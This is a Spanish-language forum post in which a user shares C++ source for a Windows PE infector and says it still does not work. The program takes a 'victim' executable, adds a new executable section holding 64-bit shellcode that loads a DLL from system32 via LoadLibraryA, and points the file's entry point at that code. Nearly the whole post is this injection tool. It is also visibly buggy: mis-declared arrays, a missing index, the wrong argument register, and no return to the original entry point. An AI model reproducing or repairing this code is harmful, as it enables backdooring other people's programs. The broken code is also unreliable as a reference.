por haidraxx
Sin síntomas
he intentado con un shellcode mas simple para 64 bits pero sigue sin funcionar bien :-(
#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>
#include <string>
#include <filesystem>
#pragma pack(push, 1)
namespace fs = std::filesystem;
struct PEHeader {
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS64 ntHeaders;
};
#pragma pack(pop)
// Obtén la dirección de LoadLibrary y ajusta el shellcode
void AdjustShellcode(unsigned char* shellcode, size_t shellcodeSize) {
// Obtener la dirección de LoadLibraryA
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) {
std::cerr << "Error: No se pudo obtener el módulo kernel32.dll" << std::endl;
return;
}
FARPROC loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA");
if (!loadLibraryAddr) {
std::cerr << "Error: No se pudo obtener la dirección de LoadLibraryA" << std::endl;
return;
}
// Encuentra el offset de la instrucción "mov rax, LoadLibraryA_address_placeholder"
int addressPlaceholderOffset = 18; // Ajusta este valor si cambia el shellcode
// Copiar la dirección de LoadLibraryA en el shellcode
memcpy(shellcode + addressPlaceholderOffset, &loadLibraryAddr, sizeof(uintptr_t));
std::cout << "Dirección de LoadLibraryA: " << std::hex << (uintptr_t)loadLibraryAddr << std::endl;
}
// Utility function for error handling
void PrintError(const char* message) {
std::cerr << message << std::endl;
exit(EXIT_FAILURE);
}
// Function to locate the .text section of a PE file
DWORD GetTextSectionRVA(const std::string& filePath, DWORD& textSectionSize) {
std::ifstream file(filePath, std::ios::binary);
if (!file) {
PrintError("Cannot open file");
}
IMAGE_DOS_HEADER dosHeader;
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
if (!file) {
PrintError("Error reading DOS header");
}
file.seekg(dosHeader.e_lfanew, std::ios::beg);
IMAGE_NT_HEADERS ntHeaders;
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS));
if (!file) {
PrintError("Error reading PE header");
}
std::vector<IMAGE_SECTION_HEADER> sections(ntHeaders.FileHeader.NumberOfSections);
file.read(reinterpret_cast<char*>(sections.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
if (!file) {
PrintError("Error reading section headers");
}
for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
if (strcmp(reinterpret_cast<const char*>(sections.Name), ".text") == 0) {
textSectionSize = sections.Misc.VirtualSize;
return sections.PointerToRawData;
}
}
PrintError(".text section not found");
return 0;
}
// Shellcode de 64 bits
const unsigned char shellcode = {
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x53, // push rbx
0x55, // push rbp
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
// Call a placeholder that will be adjusted with the actual address
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, LoadLibraryA_address_placeholder
0x48, 0x89, 0xC7, // mov rdi, rax (store the address of LoadLibraryA in rdi)
0x48, 0x8D, 0x15, 0x2A, 0x00, 0x00, 0x00, // lea rdx, [rip+42] ; offset to "C:\\windows\\system32\\pe.dll"
0x48, 0x31, 0xC0, // xor rax, rax (null-terminate the string)
0xFF, 0xD7, // call rdi (call LoadLibraryA)
// Clean up stack and restore registers
0x41, 0x5F, // pop r15
0x41, 0x5E, // pop r14
0x41, 0x5D, // pop r13
0x41, 0x5C, // pop r12
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5F, // pop rdi
0x5E, // pop rsi
0x5D, // pop rbp
0x5B, // pop rbx
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0xC3, // ret (return to original entry point)
// Ruta a la DLL a cargar: "C:\\windows\\system32\\pe.dll"
'C', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'p', 'e', '.', 'd', 'l', 'l', 0x00
};
// Function to inject the shellcode into a PE file
void InjectShellcode(const std::string& victimFilePath, const std::string& outputFilePath, const unsigned char* shellcode, size_t shellcodeSize) {
std::ifstream file(victimFilePath, std::ios::binary);
if (!file) {
PrintError("Cannot open victim file");
}
file.seekg(0, std::ios::end);
size_t fileSize = file.tellg();
file.seekg(0, std::ios::beg);
std::vector<char> fileData(fileSize);
file.read(fileData.data(), fileSize);
file.close();
IMAGE_DOS_HEADER dosHeader;
std::memcpy(&dosHeader, fileData.data(), sizeof(IMAGE_DOS_HEADER));
IMAGE_NT_HEADERS64 ntHeaders;
std::memcpy(&ntHeaders, fileData.data() + dosHeader.e_lfanew, sizeof(IMAGE_NT_HEADERS64));
IMAGE_FILE_HEADER& fileHeader = ntHeaders.FileHeader;
IMAGE_OPTIONAL_HEADER64& optionalHeader = ntHeaders.OptionalHeader;
IMAGE_SECTION_HEADER* sections = reinterpret_cast<IMAGE_SECTION_HEADER*>(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64));
IMAGE_SECTION_HEADER& lastSection = sections[fileHeader.NumberOfSections - 1];
DWORD newSectionVirtualAddress = lastSection.VirtualAddress + ((lastSection.Misc.VirtualSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1));
DWORD newSectionPointerToRawData = lastSection.PointerToRawData + ((lastSection.SizeOfRawData + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
size_t newFileSize = newSectionPointerToRawData + ((shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1));
fileData.resize(newFileSize);
IMAGE_SECTION_HEADER newSection = {};
strncpy_s(reinterpret_cast<char*>(newSection.Name), sizeof(newSection.Name), ".self", _TRUNCATE);
newSection.Misc.VirtualSize = (shellcodeSize + optionalHeader.SectionAlignment - 1) & ~(optionalHeader.SectionAlignment - 1);
newSection.VirtualAddress = newSectionVirtualAddress;
newSection.SizeOfRawData = (shellcodeSize + optionalHeader.FileAlignment - 1) & ~(optionalHeader.FileAlignment - 1);
newSection.PointerToRawData = newSectionPointerToRawData;
newSection.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
std::memcpy(fileData.data() + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER) * fileHeader.NumberOfSections, &newSection, sizeof(newSection));
fileHeader.NumberOfSections++;
optionalHeader.SizeOfImage = newSection.VirtualAddress + newSection.Misc.VirtualSize;
// Crear una copia ajustable del shellcode
std::vector<unsigned char> adjustedShellcode(shellcode, shellcode + shellcodeSize);
AdjustShellcode(adjustedShellcode.data(), shellcodeSize);
std::memcpy(fileData.data() + newSection.PointerToRawData, adjustedShellcode.data(), adjustedShellcode.size());
optionalHeader.AddressOfEntryPoint = newSection.VirtualAddress;
std::memcpy(fileData.data() + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS64));
std::memcpy(fileData.data(), &dosHeader, sizeof(IMAGE_DOS_HEADER));
std::ofstream outFile(outputFilePath, std::ios::binary);
if (!outFile) {
PrintError("Cannot open output file");
}
outFile.write(fileData.data(), fileData.size());
std::cout << "Shellcode injected and entry point modified successfully." << std::endl;
}
int main(int argc, char* argv) {
if (argc < 3) {
std::cerr << "Usage: <victim file> <output file>" << std::endl;
return EXIT_FAILURE;
}
std::string victimFilePath = argv[1];
std::string outputFilePath = argv[2];
InjectShellcode(victimFilePath, outputFilePath, shellcode, sizeof(shellcode));
return EXIT_SUCCESS;
}